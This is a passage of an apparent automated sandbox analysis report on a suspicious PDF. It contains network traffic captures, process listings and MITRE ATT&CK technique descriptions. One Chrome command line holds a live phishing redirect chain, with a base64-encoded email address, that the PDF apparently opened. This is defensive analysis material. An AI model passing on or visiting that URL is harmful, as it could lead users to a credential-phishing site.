99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca Data Ascii: Z?#A/Gx]-18l*jDH#z1zU6e@Wq=ucg_n-pV?<R-\|`eWl97m'++vjZvSKfRQZm5?A~ &(:0k'rm.j{3g4L"WS^`'G@yiX[WF][P!liP_(K
2024-05-27 17:30:45 UTC	1369	IN	Data Raw: c8 11 01 46 f4 df e1 f1 ca 97 0f 07 9b 36 56 3b 62 c2 22 1e e2 f1 0b dd 90 26 d9 67 5f b7 aa b7 46 e9 71 bf a4 a5 a1 fe de fd 88 4a 4a 52 db 66 a1 36 64 44 2f 54 cf 18 8e 5e 06 43 84 a7 cf 9c e5 c6 8e 19 8d 0f 1f 3e c8 a1 4b f6 e9 9a e7 c9 83 af 5f 32 9f ce 56 b1 a2 2f 66 cc 9a 85 22 85 5d 0c c6 4e c3 09 1d e1 69 ca 88 fe bb 4f cc 72 e5 c2 9e 46 41 f0 ca 9f 4f 65 47 a9 92 0c 47 65 e1 d9 34 b0 2f 60 47 c9 5e dd 72 f9 cd 5b 04 87 2a 9e 00 a8 2b 5f 9f ed 18 d1 eb 13 7d 71 f4 6d 10 04 78 23 fc 26 d7 a7 77 2f 7c fe fc 59 8a 7a e5 1a fe a8 e0 5b 15 6e c5 24 7b 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f Data Ascii: F6V;b"&g_FqJJRf6dD/T^C>K_2V/f"]NiOrFAOeGGe4/`G^r[+_}qmx#&w/\|Yz[n${t{\|FNF^<Tx~e\Muw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	55959	172.217.18.4	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:45 UTC	338	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:45 UTC	1787	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:45 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-HtngSIE1jRBktPgP4Vw4Gw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-05-27-17; expires=Wed, 26-Jun-2024 17:30:45 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: AEC=AQTF6Hx2DSuJtdO2F7bJRRvBbAfrvGkNsxc2vVeLeflS2MzfZzVkFKpnPg; expires=Sat, 23-Nov-2024 17:30:45 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: NID=514=sAAo4gX9sJZEKr4WQnvLKbALo2ZYAlXJLvRw01qy-4XqjQfBo0kJErn2VxWIcE1Wbx-CeGiKhAMrFIX7GpRX6xLoblD-Q7B1k3wCjZrpF5G44L-4QdtvBQHMXWyR0wmN_WyBI46lgl-Iapw5iBRU5L27MINCfiFgJNO3BqJ1dFA; expires=Tue, 26-Nov-2024 17:30:45 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-27 17:30:45 UTC	1787	IN	Data Raw: 31 33 62 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e Data Ascii: 13b6<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>
2024-05-27 17:30:45 UTC	1787	IN	Data Raw: 65 74 75 72 6e 20 74 28 22 22 2c 61 2c 62 29 7d 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 79 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 79 3d 5b 5d 3b 67 6f 6f 67 6c 65 2e 78 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 29 76 61 72 20 63 3d 61 2e 69 64 3b 65 6c 73 65 7b 64 6f 20 63 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 77 68 69 6c 65 28 67 6f 6f 67 6c 65 2e 79 5b 63 5d 29 7d 67 6f 6f 67 6c 65 2e 79 5b 63 5d 3d 5b 61 2c 62 5d 3b 72 65 74 75 72 6e 21 31 7d 3b 67 6f 6f 67 6c 65 2e 73 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 73 79 2e 70 75 73 68 28 61 29 7d 3b 67 6f 6f 67 6c 65 2e 6c 6d 3d 5b 5d 3b 67 6f 6f 67 6c 65 2e 70 6c 6d 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b Data Ascii: eturn t("",a,b)};}).call(this);(function(){google.y={};google.sy=[];google.x=function(a,b){if(a)var c=a.id;else{do c=Math.random();while(google.y[c])}google.y[c]=[a,b];return!1};google.sx=function(a){google.sy.push(a)};google.lm=[];google.plm=function(a){
2024-05-27 17:30:45 UTC	1480	IN	Data Raw: 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3a 76 6f 69 64 20 30 3b 76 61 72 20 75 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3b 66 75 6e 63 74 69 6f 6e 20 63 61 28 61 2c 62 2c 63 29 7b 61 3a 7b 66 6f 72 28 76 61 72 20 64 3d 61 3b 64 26 26 64 21 3d 3d 62 3b 64 3d 64 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 69 66 28 22 68 69 64 64 65 6e 22 3d 3d 3d 64 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 7c 7c 22 47 2d 45 58 50 41 4e 44 41 42 4c 45 2d 43 4f 4e 54 45 4e 54 22 3d 3d 3d 64 2e 74 61 67 4e 61 6d 65 26 26 22 68 69 64 64 65 6e 22 3d 3d 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 64 29 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 6f 76 65 72 66 6c 6f 77 22 29 29 7b 62 3d 64 3b 62 72 65 61 6b 20 61 7d Data Ascii: timing.responseStart:void 0;var u=window.performance;function ca(a,b,c){a:{for(var d=a;d&&d!==b;d=d.parentElement)if("hidden"===d.style.overflow\|\|"G-EXPANDABLE-CONTENT"===d.tagName&&"hidden"===getComputedStyle(d).getPropertyValue("overflow")){b=d;break a}
2024-05-27 17:30:45 UTC	299	IN	Data Raw: 31 32 34 0d 0a 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 62 2c 63 29 7d 3b 76 61 72 20 6a 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 74 68 69 73 2e 67 3d 61 3b 74 68 69 73 2e 76 3d 5b 5d 3b 74 68 69 73 2e 42 3d 74 68 69 73 2e 67 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 61 66 74 22 29 3b 74 68 69 73 2e 6a 3d 21 21 74 68 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 65 66 65 72 72 65 64 22 29 3b 76 61 72 20 64 3b 69 66 28 64 3d 21 74 68 69 73 2e 6a 29 61 3a 7b 66 6f 72 28 64 3d 30 3b 64 3c 44 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 69 66 28 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 22 2b 44 5b 64 5d 29 29 7b 64 3d 21 30 3b 62 72 65 61 6b 20 61 7d 64 3d 21 31 7d 74 68 69 73 Data Ascii: 124tachEvent("on"+b,c)};var ja=function(a,b,c){this.g=a;this.v=[];this.B=this.g.hasAttribute("data-noaft");this.j=!!this.g.getAttribute("data-deferred");var d;if(d=!this.j)a:{for(d=0;d<D.length;++d)if(a.getAttribute("data-"+D[d])){d=!0;break a}d=!1}this
2024-05-27 17:30:45 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 22 29 3b 28 61 3d 74 68 69 73 2e 67 2e 73 72 63 29 26 26 74 68 69 73 2e 6c 26 26 28 74 68 69 73 2e 44 3d 61 29 3b 21 74 68 69 73 2e 6c 26 26 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 26 26 61 7c 7c 74 68 69 73 2e 67 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6c 7a 79 5f 22 2c 22 31 22 29 3b 74 68 69 73 2e 42 3f 62 3d 21 30 3a 62 7c 7c 78 26 26 74 68 69 73 2e 69 7c 7c 74 68 69 73 2e 6a 7c 7c 74 68 69 73 2e 6c 3f 62 3d 21 31 3a 28 62 3d 74 68 69 73 2e 67 2e 73 72 63 2c 62 3d 22 73 74 72 69 6e 67 22 21 3d 3d 74 79 70 65 6f 66 20 62 7c 7c 21 62 2c 61 3d 74 68 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6d 70 22 29 2c 62 3d 0a 6e 75 6c 6c 21 3d 3d 61 3f 22 31 22 3d 3d 3d 61 3a 62 Data Ascii: 8000");(a=this.g.src)&&this.l&&(this.D=a);!this.l&&"string"===typeof a&&a\|\|this.g.setAttribute("data-lzy_","1");this.B?b=!0:b\|\|x&&this.i\|\|this.j\|\|this.l?b=!1:(b=this.g.src,b="string"!==typeof b\|\|!b,a=this.g.getAttribute("data-cmp"),b=null!==a?"1"===a:b
2024-05-27 17:30:45 UTC	1390	IN	Data Raw: 6e 63 74 69 6f 6e 20 6c 61 28 61 29 7b 69 66 28 61 26 26 28 61 3d 61 2e 74 61 72 67 65 74 2c 22 49 4d 47 22 3d 3d 3d 61 2e 74 61 67 4e 61 6d 65 29 29 7b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 47 28 4a 28 61 2c 76 6f 69 64 20 30 2c 21 30 2c 21 30 29 2c 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 61 29 7b 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 28 61 29 7d 3b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 3d 7b 74 3a 7b 73 74 61 72 74 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 2c 65 3a 7b 7d 2c 6d 3a 7b 7d 7d 7d 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 67 6f 6f 67 6c 65 2e Data Ascii: nction la(a){if(a&&(a=a.target,"IMG"===a.tagName)){var b=Date.now();G(J(a,void 0,!0,!0),b)}}function L(a){google.c.oil(a)};google.timers={};google.startTick=function(a){google.timers[a]={t:{start:Date.now()},e:{},m:{}}};google.tick=function(a,b,c){google.
2024-05-27 17:30:45 UTC	1390	IN	Data Raw: 3d 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 29 7b 67 6f 6f 67 6c 65 2e 63 2e 66 68 3d 61 3b 76 61 72 20 62 3b 72 26 26 28 62 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 72 2b 61 29 29 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 28 22 6c 6f 61 64 22 2c 22 66 68 74 22 2c 62 29 3b 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 0a 66 75 6e 63 74 69 6f 6e 20 51 28 61 29 7b 50 28 61 2e 74 69 6d 65 53 74 61 6d 70 29 26 26 43 28 64 6f 63 75 6d 65 6e 74 2c 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 51 2c 21 30 29 7d 67 6f 6f 67 6c 65 2e 63 2e 66 68 3d 49 6e 66 69 6e 69 74 79 3b 42 28 64 6f 63 75 6d 65 6e 74 2c 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 51 2c 21 30 29 3b 50 28 30 29 3b 78 26 26 28 67 6f 6f 67 6c 65 Data Ascii: =document.visibilityState){google.c.fh=a;var b;r&&(b=Math.floor(r+a));google.tick("load","fht",b);return!0}return!1}function Q(a){P(a.timeStamp)&&C(document,"visibilitychange",Q,!0)}google.c.fh=Infinity;B(document,"visibilitychange",Q,!0);P(0);x&&(google
2024-05-27 17:30:45 UTC	1390	IN	Data Raw: 29 7b 76 61 72 20 66 3d 65 5b 67 5d 3b 66 26 26 28 63 5b 67 5d 3d 4d 61 74 68 2e 6d 61 78 28 66 2d 68 2c 30 29 29 7d 30 3c 64 26 26 28 63 2e 67 73 61 73 72 74 3d 62 2e 74 2e 73 74 61 72 74 2d 64 29 3b 62 3d 62 2e 65 3b 61 3d 22 2f 67 65 6e 5f 32 30 34 3f 73 3d 22 2b 67 6f 6f 67 6c 65 2e 73 6e 2b 22 26 74 3d 22 2b 61 2b 22 26 61 74 79 70 3d 63 73 69 26 65 69 3d 22 2b 67 6f 6f 67 6c 65 2e 6b 45 49 2b 22 26 72 74 3d 22 3b 64 3d 22 22 3b 66 6f 72 28 76 61 72 20 6c 20 69 6e 20 63 29 61 2b 3d 22 22 2b 64 2b 6c 2b 22 2e 22 2b 63 5b 6c 5d 2c 64 3d 22 2c 22 3b 66 6f 72 28 76 61 72 20 6d 20 69 6e 20 62 29 61 2b 3d 22 26 22 2b 6d 2b 22 3d 22 2b 62 5b 6d 5d 3b 6c 3d 61 3b 6d 3d 22 22 3b 61 3d 5b 5d 3b 70 2e 5f 63 73 68 69 64 26 26 61 2e 70 75 73 68 28 5b 22 63 73 68 Data Ascii: ){var f=e[g];f&&(c[g]=Math.max(f-h,0))}0<d&&(c.gsasrt=b.t.start-d);b=b.e;a="/gen_204?s="+google.sn+"&t="+a+"&atyp=csi&ei="+google.kEI+"&rt=";d="";for(var l in c)a+=""+d+l+"."+c[l],d=",";for(var m in b)a+="&"+m+"="+b[m];l=a;m="";a=[];p._cshid&&a.push(["csh
2024-05-27 17:30:45 UTC	1390	IN	Data Raw: 63 74 28 29 2e 74 6f 70 2b 77 69 6e 64 6f 77 2e 70 61 67 65 59 4f 66 66 73 65 74 29 3a 2d 31 3b 21 59 26 26 28 64 7c 7c 62 3e 3d 63 29 26 26 28 59 3d 61 2c 58 3d 62 29 3b 69 66 28 59 29 7b 76 61 72 20 65 3d 30 2c 68 3d 30 2c 6b 3d 30 2c 67 3d 21 31 3b 72 61 28 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 21 28 46 28 66 29 26 31 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 66 2e 41 29 72 65 74 75 72 6e 2b 2b 6b 2c 21 66 2e 42 3b 46 28 66 29 26 34 26 26 28 67 3d 21 30 29 3b 66 2e 6a 26 26 2b 2b 68 3b 2b 2b 65 3b 72 65 74 75 72 6e 21 30 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 41 28 22 69 6d 61 22 2c 65 29 3b 41 28 22 69 6d 61 64 22 2c 68 29 3b 41 28 22 69 6d 61 63 22 2c 6b 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e Data Ascii: ct().top+window.pageYOffset):-1;!Y&&(d\|\|b>=c)&&(Y=a,X=b);if(Y){var e=0,h=0,k=0,g=!1;ra(function(f){if(!(F(f)&1))return!1;if(f.A)return++k,!f.B;F(f)&4&&(g=!0);f.j&&++h;++e;return!0},function(){A("ima",e);A("imad",h);A("imac",k);document.getElementsByClassN
2024-05-27 17:30:45 UTC	1390	IN	Data Raw: 29 3a 61 28 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 62 2e 73 68 69 66 74 28 29 3b 61 3b 29 61 28 29 2c 61 3d 62 2e 73 68 69 66 74 28 29 7d 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 63 2c 21 31 29 2c 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 63 2c 21 31 29 29 3a 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 63 29 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 Data Ascii: ):a()};function c(){for(var a=b.shift();a;)a(),a=b.shift()}window.addEventListener?(document.addEventListener("DOMContentLoaded",c,!1),window.addEventListener("load",c,!1)):window.attachEvent&&window.attachEvent("onload",c);}).call(this);(function(){var b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	55961	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=KVmkthM6DpEzyGv&MD=29UUu6lb HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-27 17:30:57 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_1440" MS-CorrelationId: f60df2b1-32b9-4f27-bc41-1906916e379b MS-RequestId: 40cdd149-ee78-47f0-9e64-f45840f6f6a1 MS-CV: qARHs2QcwE6dJXHa.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 27 May 2024 17:30:57 GMT Connection: close Content-Length: 25457
2024-05-27 17:30:57 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-05-27 17:30:57 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	13:30:04
Start date:	27/05/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\25_May_2024_eSign.pdf"
Imagebase:	0x7ff75ba20000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	13:30:05
Start date:	27/05/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6b9c00000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	13:30:06
Start date:	27/05/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1612 --field-trial-handle=1580,i,12606758722636301871,14801782710418106230,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6b9c00000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	13:30:06
Start date:	27/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.kooss.com/j7.php?url=https://m.exactag.com/ai.aspx?tc=d9047570bc40b07205bbd26a23a8d2e6b6b4f9&url=https://maplebearrabat.com/content/cauoaeox/jihu/YWNjb3VudHNyZWNlaXZhYmxlQGFjYWdsb2JhbC5jb20=
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	13:30:07
Start date:	27/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2004,i,16712865110461069709,7719260107902575291,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
